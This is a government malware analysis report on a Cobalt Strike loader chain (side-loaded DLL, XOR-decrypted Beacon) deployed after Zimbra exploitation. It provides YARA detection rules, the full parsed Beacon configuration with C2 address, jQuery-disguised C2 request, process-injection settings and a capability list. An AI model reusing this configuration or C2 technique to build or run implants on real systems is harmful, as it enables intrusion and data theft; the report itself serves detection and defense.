This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Description

CISA received a benign 32-bit Windows executable file, a malicious dynamic-link library (DLL) and an encrypted file for analysis from an organization where cyber actors exploited vulnerabilities against Zimbra Collaboration Suite (ZCS). Four CVEs are currently being leveraged against ZCS: CVE-2022-24682, CVE-2022-27924, CVE-2022-27925 chained with CVE-2022-37042, and CVE-2022-30333. The executable file is designed to side-load the malicious DLL file. The DLL is designed to load and Exclusive OR (XOR) decrypt the encrypted file. The decrypted file contains a Cobalt Strike Beacon binary. The Cobalt Strike Beacon is a malicious implant on a compromised system that calls back to the command and control (C2) server and checks for additional commands to execute on the compromised system.

For more information on cyber actors exploiting vulnerabilities in ZCS, see joint CSA: Threat Actors Exploiting Multiple CVEs Against Zimbra Collaboration Suite.

Download the PDF version of this report: MAR-10398871-1.v2.WHITE, 372 kb

Submitted Files (3)

233bb85dbeba69231533408501697695a66b7790e751925231d64bddf80bbf91 (bin.config)

25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51 (VFTRACE.dll)

df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348 (vxhost.exe)

Additional Files (1)

3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e (Extracted_CobaltStrike_Beacon)

IPs (1)

207.148.76.235

df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348

Tags

loaderpup

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Relationships

Description

This artifact is a 32-bit executable file that has been identified as a version of vf_host.exe from Viewfinity and is benign. The file is used to side-load a DLL, vftrace.dll “058434852bb8e877069d27f452442167”.

25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51

Tags

loadertrojan

Details

Antivirus

YARA Rules

• rule CISA_10398871_01 : trojan loader COBALTSTRIKE
  {
     meta:
         Author = “CISA Code & Media Analysis”
         Incident = “10398871”
         Date = “2022-09-29”
         Last_Modified = “20221001_1200”
         Actor = “n/a”
         Category = “Trojan Loader”
         Family = “COBALTSTRIKE”
         Description = “Detects CobaltStrike Loader samples”
         MD5=”058434852bb8e877069d27f452442167″
         SHA256=”25da610be6acecfd71bbe3a4e88c09f31ad07bdd252eb30feeef9debd9667c51″
     strings:
         $s1 = { 62 69 6E 2E 63 6F 6E 66 69 67 }
         $s2 = { 56 46 54 52 41 43 45 }
         $s3 = { FF 15 18 D0 00 10 }
         $s4 = { FF 15 28 D0 00 10 }
         $s5 = { 8B 55 EC 03 55 F4 0F B6 02 33 45 E4 }
     condition:
         uint16(0) == 0x5A4D and all of them
  }

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Relationships

Description

This artifact is a malicious 32-bit DLL file loaded by “vxhost.exe” (4109ac08bdc8591c7b46348eb1bca85d). This file is designed to search and load an encrypted file “%current directory%bin.config” (be2b0c387642fe7e8475f5f5f0c6b90a) if installed on the compromised system. It decrypts the file using the hard-coded XOR key “0x401”. The decrypted binary contains a Cobalt Strike Beacon DLL that has an embedded shellcode inside of the MZ header. It copies the Cobalt Strike Beacon DLL into a buffer and executes the shellcode.

Screenshots

3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e

Tags

trojan

Details

Antivirus

YARA Rules

• rule CISA_10398871_02 : trojan COBALTSTRIKE
  {
     meta:
         Author = “CISA Code & Media Analysis”
         Incident = “10398871”
         Date = “2022-09-29”
         Last_Modified = “20221001_1200”
         Actor = “n/a”
         Category = “Trojan”
         Family = “COBALTSTRIKE”
         Description = “Detects CobaltStrike trojan shellcode samples with an embedded beacon”
         MD5=”ff1d9474c2bfa9ada8d5ed3e16f0b04a”
         SHA256=”3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e”
     strings:
         $s1 = { 41 41 41 41 }
         $s2 = { 42 42 42 42 }
         $s3 = { 0F B6 45 10 8B 4D 08 03 4D FC 0F BE 11 33 D0 }
         $s4 = { 8B 4D 08 51 6A 01 8B 55 C0 52 FF 55 C8 }
     condition:
         uint16(9) == 0x5A4D and all of them
  }

ssdeep Matches

No matches found.

Relationships

Description

This file is decrypted and executed by “vftrace.dll” (058434852bb8e877069d27f452442167). This file is a 32-bit Portable Executable (PE) DLL that has an embedded shellcode inside of the MZ header, which is located at the start of the file. When executed, the shellcode decrypts an embedded beacon payload using a single-byte XOR key 0xC3. It executes the entry point of the decrypted payload in memory at runtime. The decrypted payload has been identified as a Cobalt Strike Beacon implant. During the execution, it decodes its configuration using a single-byte XOR key 0x4f. The configuration contains the, RSA public key, C2, communication protocol, and more. The parsed configuration data for the Cobalt Strike Beacon implant is displayed below in JSON format:

–Begin configuration in the Cobalt Strike Beacon–
{
“BeaconType”: [
   “HTTPS”                         ==> Beacon uses HTTPS to communicate
],
“Port”: 443,
“SleepTime”: 5000,                ==> Timing of C2 Beacons via Sleeptime and Jitter feature
“MaxGetSize”: 1403644,
“Jitter”: 20,                         ==> . Jitter value to force Beacon to randomly modify its sleep time. Jitter of 20 means that there is a random jitter of 20% of 5000 milliseconds
“MaxDNS”: “Not Found”,     ==> Publickey to encrypt communications
“PublicKey”:                     “MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDApWEZn8vYHYN/JiXoF72xGpWuxdZ7gGRYn6E7+mFmsVDSzImL7GTMXrllB4TM6/oR+WDKk0L+8elLel63FXPQ3d3K/t1/8dnYBLpjPER+/G/iu2viAN+6KEsQfKA3O6ZvABg9/uH86G2erow7Ik4a2VinucYSkKJ8jYV1yfeDzQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==”,
“PublicKey_MD5”: “9b96180552065cdf6cc42f8ba6f43f8b”,
“C2Server”: “207[.]148[.]76[.]235,/jquery-3.3.1.min.js”,
“UserAgent”: “Mozilla/4.1 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36”,
“HttpPostUri”: “/jquery-3.3.2.min.js”,
“Malleable_C2_Instructions”: [
   “Remove 1522 bytes from the end”,
   “Remove 84 bytes from the beginning”,
   “Remove 3931 bytes from the beginning”,
   “Base64 URL-safe decode”,
   “XOR mask w/ random key”
],
“HttpGet_Metadata”: {
   “ConstHeaders”: [
    “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”,
    “Referer: http://code.jquery.com/”,
    “Accept-Encoding: gzip, deflate”
   ],
   “ConstParams”: [],
   “Metadata”: [
    “base64url”,
    “prepend “__cfduid=””,
    “header “Cookie””
   ],
   “SessionId”: [],
   “Output”: []
},
“HttpPost_Metadata”: {
   “ConstHeaders”: [
    “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”,
    “Referer: http://code.jquery.com/”,
    “Accept-Encoding: gzip, deflate”
   ],
   “ConstParams”: [],
   “Metadata”: [],
   “SessionId”: [
    “mask”,
    “base64url”,
    “parameter “__cfduid””
   ],
   “Output”: [
    “mask”,
    “base64url”,
    “print”
   ]
},
“SpawnTo”: “AAAAAAAAAAAAAAAAAAAAAA==”,
“PipeName”: “Not Found”,
“DNS_Idle”: “Not Found”,
“DNS_Sleep”: “Not Found”,
“SSH_Host”: “Not Found”,
“SSH_Port”: “Not Found”,
“SSH_Username”: “Not Found”,
“SSH_Password_Plaintext”: “Not Found”,
“SSH_Password_Pubkey”: “Not Found”,
“SSH_Banner”: “”,
“HttpGet_Verb”: “GET”,
“HttpPost_Verb”: “POST”,
“HttpPostChunk”: 0,
“Spawnto_x86”: “%windir%syswow64dllhost.exe”,
“Spawnto_x64”: “%windir%sysnativedllhost.exe”,
“CryptoScheme”: 0,
“Proxy_Config”: “Not Found”,
“Proxy_User”: “Not Found”,
“Proxy_Password”: “Not Found”,
“Proxy_Behavior”: “Use IE settings”,
“Watermark”: 1234567890,
“bStageCleanup”: “True”,
“bCFGCaution”: “False”,
“KillDate”: 0,
“bProcInject_StartRWX”: “False”,
“bProcInject_UseRWX”: “False”,
“bProcInject_MinAllocSize”: 17500,
“ProcInject_PrependAppend_x86”: [
   “kJA=”,
   “Empty”
],
“ProcInject_PrependAppend_x64”: [
   “kJA=”,
   “Empty”
],
“ProcInject_Execute”: [
   “ntdll:RtlUserThreadStart”,
   “CreateThread”,
   “NtQueueApcThread-s”,
   “CreateRemoteThread”,
   “RtlCreateUserThread”
],
“ProcInject_AllocationMethod”: “NtMapViewOfSection”,
“ProcInject_Stub”: “s7YR+gVAMtA1Jtjf0KV/Cw==”,     ==> the Base64 encoded MD5 file hash of the Cobalt Strike
“bUsesCookies”: “True”,
“HostHeader”: “”,
“smbFrameHeader”: “AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=”,
“tcpFrameHeader”: “AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=”,
“headersToRemove”: “Not Found”,
“DNS_Beaconing”: “Not Found”,
“DNS_get_TypeA”: “Not Found”,
“DNS_get_TypeAAAA”: “Not Found”,
“DNS_get_TypeTXT”: “Not Found”,
“DNS_put_metadata”: “Not Found”,
“DNS_put_output”: “Not Found”,
“DNS_resolver”: “Not Found”,
“DNS_strategy”: “round-robin”,
“DNS_strategy_rotate_seconds”: -1,
“DNS_strategy_fail_x”: -1,
“DNS_strategy_fail_seconds”: -1
}
–End configuration in the Cobalt Strike Beacon–

It is designed to use a JavaScript library jQuery malleable C2 profile for communication to evade detection. It attempts to send a GET request to its C2 server with metadata in the cookie header “__cfduid” that contains information about the compromised system such as, username, computer name, operating system (OS) version, the name of the malware executing on the victim’s system, and other information. The metadata in the cookie header is encrypted and encoded.

Displayed below is the RSA public key used to encrypt the metadata before it is encoded using NetBios (uppercase) and base64 encoding algorithm:

–Begin public key–
30 81 9F 30 0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 81 8D 00 30 81 89 02 81 81 00 C0 A5 61 19 9F CB D8 1D 83 7F 26 25 E8 17 BD B1 1A 95 AE C5 D6 7B 80 64 58 9F A1 3B FA 61 66 B1 50 D2 CC 89 8B EC 64 CC 5E B9 65 07 84 CC EB FA 11 F9 60 CA 93 42 FE F1 E9 4B 7A 5E B7 15 73 D0 DD DD CA FE DD 7F F1 D9 D8 04 BA 63 3C 44 7E FC 6F E2 BB 6B E2 00 DF BA 28 4B 10 7C A0 37 3B A6 6F 00 18 3D FE E1 FC E8 6D 9E AE 8C 3B 22 4E 1A D9 58 A7 B9 C6 12 90 A2 7C 8D 85 75 C9 F7 83 CD 02 03 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
–End public key–

Displayed below is a sample jQuery Malleable C2 Hypertext Transfer Protocol (HTTP) GET request with metadata in the cookie header:

–Begin request–
GET /jquery-3.3.1.min.js HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
Cookie: __cfduid=vZZ5M4aBtrWVoM5-rSVJFrF_ucMPaPE3QjFh6lc2jJ9YYlfZlI2k7M3PwRbOpG9HZXpYi7cauuFgY62ZfLQ9SvZF5anYnl0aQE6oR1Xi_D2fkuoNiug3oKXLk-Vj-Fwp1IhyNG4gKv0vzkU9Scy0EByFnaM2E-Prj__Bb1niJjw
User-Agent: Mozilla/4.1 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Host: 207[.]148[.]76[.]235
Connection: Keep-Alive
Cache-Control: no-cache
–End request–

Analysis indicates that the C2 server will respond to the above HTTP GET request with encrypted data that contains commands, which the malware will decrypt and execute to perform additional functions. The C2 server response payload was not available for analysis.

Displayed below are sample functions built into the malware:

–Begin commands–
Make and change directory
Copy, move, remove files to the specified destination
Download and upload files
List drives on victim’s system
Lists files in a folder
Enable system privileges
Kills the specified process
Show running processes
Binds the specified port on the victim’s system
Disconnect from a named pipe
Process injection
Service creation
–End commands–

Screenshots

207.148.76.235

Ports

Whois

Recent Passive DNS Resolutions
wordpress-499253-1580367.cloudwaysapps.com
207.148.76.235
kejhnaxoi.alosmart.in
207.148.76.235
chanlycuocsong.com
207.148.76.235
291bc2ac-bd67-11e9-bd1f-d89d67231d10.vuhongminh.com
207.148.76.235
update.vuhongminh.com
207.148.76.235

IP Location
   Country: Singapore
   Region: Central Singapore
   City: Singapore
   ISP: Sgp_vultr_cust

Whois Server
   whois.apnic.net

Whois Record
% Abuse contact for ‘207.148.64.0 – 207.148.79.255’ is ‘abuse@choopa.com’

inetnum:        207.148.64.0 – 207.148.79.255
netname:        SGP_VULTR_CUST
descr:         SGP_VULTR_CUST
country:        SG
admin-c:        CLA15-AP
tech-c:         CLA15-AP
abuse-c:        AC1765-AP
status:         ASSIGNED NON-PORTABLE
mnt-by:         MAINT-CHOOPALLC-AP
mnt-irt:        IRT-CHOOPALLC-AP
last-modified: 2021-02-09T13:52:42Z
source:         APNIC

irt:            IRT-CHOOPALLC-AP
address:        100 Matawan Rd, Matawan NJ 07747
e-mail:         abuse@choopa.com
abuse-mailbox: abuse@choopa.com
admin-c:        CLA15-AP
tech-c:         CLA15-AP
auth:         # Filtered
remarks:        abuse@choopa.com was validated on 2022-04-14
mnt-by:         MAINT-CHOOPALLC-AP
last-modified: 2022-04-14T13:11:20Z
source:         APNIC

role:         ABUSE CHOOPALLCAP
address:        100 Matawan Rd, Matawan NJ 07747
country:        ZZ
phone:         +000000000
e-mail:         abuse@choopa.com
admin-c:        CLA15-AP
tech-c:         CLA15-AP
nic-hdl:        AC1765-AP
remarks:        Generated from irt object IRT-CHOOPALLC-AP
remarks:        abuse@choopa.com was validated on 2022-04-14
abuse-mailbox: abuse@choopa.com
mnt-by:         APNIC-ABUSE
last-modified: 2022-04-14T13:12:10Z
source:         APNIC

role:         Choopa LLC administrator
address:        319 Clematis St. Suite 900
country:        US
phone:         +1-973-849-0500
fax-no:         +1-973-849-0500
e-mail:         abuse@vultr.com
admin-c:        CLA15-AP
tech-c:         CLA15-AP
nic-hdl:        CLA15-AP
mnt-by:         MAINT-CHOOPALLC-AP
last-modified: 2022-07-19T11:35:13Z
source:         APNIC

route:         207.148.64.0/20
origin:         AS20473
descr:         Choopa, LLC
               14 Cliffwood Ave
               Suite 300
mnt-by:         MAINT-CHOOPALLC-AP
last-modified: 2020-04-21T14:39:46Z
source:         APNIC

Relationships

Description

The C2 domain configured in the Cobalt Strike Beacon.